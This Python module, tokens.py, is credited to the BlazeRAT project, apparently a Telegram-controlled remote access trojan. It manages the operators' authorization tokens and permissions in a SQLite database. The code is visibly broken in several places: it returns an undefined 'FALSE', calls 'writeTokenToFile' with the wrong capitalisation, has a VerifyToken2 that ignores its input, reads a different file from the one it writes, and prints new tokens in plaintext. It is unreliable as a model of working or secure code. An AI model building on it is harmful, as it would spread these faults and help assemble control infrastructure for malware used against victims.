tokens.py 4.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. # Import modules
  4. from uuid import uuid4
  5. from config import perms
  6. from hashlib import sha512
  7. from json import loads, dumps
  8. from services.startup import CURRENT_DIRECTORY
  9. from core.database import connection, cursor, lock
  10. from os import path
  11. """
  12. Author : LimerBoy
  13. github.com/LimerBoy/BlazeRAT
  14. Notes :
  15. The file is needed
  16. to work with authorization tokens.
  17. """
  18. # Write telegram bot api token
  19. def WriteTelegramBotAPI_Token(token: str) -> None:
  20. with open(CURRENT_DIRECTORY + "/token.txt", "w") as api_token:
  21. api_token.write(token)
  22. def ReadTokenFromFile() -> tuple:
  23. token_file = path.join(CURRENT_DIRECTORY, "conf.txt")
  24. if not path.exists(token_file):
  25. return False, ""
  26. with open(token_file, "r") as api_token:
  27. token = api_token.read()
  28. return True, token
  29. def WriteTokenToFile(toke:str)-> bool:
  30. token_file = path.join(CURRENT_DIRECTORY, "conf.txt")
  31. with open(token_file, "w") as file:
  32. file.write(toke)
  33. return True
  34. def VerifyToken2(toke: str) -> tuple:
  35. token_file = path.join(CURRENT_DIRECTORY, "conf.txt")
  36. if not path.exists(token_file):
  37. return FALSE, "unknown"
  38. with open(token_file, "r") as api_token:
  39. token = api_token.read()
  40. return True, token
  41. # with open("conf.txt", "w") as file:
  42. # file.write(toke)
  43. # return True, token
  44. # Verify token
  45. def VerifyToken(token: str) -> tuple:
  46. sql = "SELECT name FROM tokens WHERE token=?"
  47. hsh = TokenToHash(token)
  48. cursor.execute(sql, (hsh,))
  49. result = cursor.fetchone()
  50. if result is not None:
  51. return True, result[0]
  52. else:
  53. return False, "Unknown"
  54. # Convert token to hash
  55. def TokenToHash(token: str) -> str:
  56. return sha512(b"TOKEN:" + token.encode()).hexdigest()
  57. """ List permissions """
  58. def EnumeratePermissions(token_name: str, have=True, console=True) -> str:
  59. result = f"Token '{token_name}' have permissions:\n\n" if have else f"All permissions for token '{token_name}'\n\n"
  60. # Emoji
  61. if console is True:
  62. y, n = "[+]", "[-]"
  63. else:
  64. y, n = "✅", "⛔"
  65. # Enum
  66. for permission in perms.keys():
  67. description = perms[permission]
  68. if TokenContainsPermission(token_name, permission):
  69. result += f"{y} {permission} - {description}\n"
  70. else:
  71. if not have:
  72. result += f"{n} {permission} - {description}\n"
  73. return result
  74. """ Check if token have permission """
  75. def TokenContainsPermission(token_name: str, permission: str) -> bool:
  76. sql = "SELECT permissions FROM tokens WHERE name=?"
  77. cursor.execute(sql, (token_name,))
  78. result = cursor.fetchone()
  79. # Check if token exists
  80. if not result:
  81. return False
  82. # Check root perms
  83. if result[0] == "*":
  84. return True
  85. # Check other perms
  86. else:
  87. return permission in loads(result[0])
  88. """ Create token with permissions """
  89. def TokenCreate(name: str, permissions: list) -> str:
  90. lock.acquire(True)
  91. exists, token = ReadTokenFromFile()
  92. if exists is False:
  93. token = uuid4().urn[9:]
  94. writeTokenToFile(token)
  95. print(f"token={token}")
  96. # Create new token
  97. sql = "INSERT INTO tokens (token, name, permissions) VALUES (?, ?, ?)"
  98. hsh = TokenToHash(token)
  99. # Get permissions
  100. if "*" in permissions:
  101. perms = "*"
  102. else:
  103. perms = dumps(permissions)
  104. # Execute sql & commit changes
  105. cursor.execute(sql, (hsh, name, perms))
  106. # Done
  107. connection.commit()
  108. lock.release()
  109. return token
  110. """ Delete token """
  111. def TokenDelete(name: str) -> bool:
  112. # Check if token exists
  113. sql = "SELECT id FROM tokens WHERE name=?"
  114. cursor.execute(sql, (name,))
  115. result = cursor.fetchone()
  116. # Delete token
  117. if result is not None:
  118. lock.acquire(True)
  119. sql = "DELETE FROM tokens WHERE id=?"
  120. cursor.execute(sql, (result[0],))
  121. connection.commit()
  122. lock.release()
  123. return True
  124. else:
  125. return False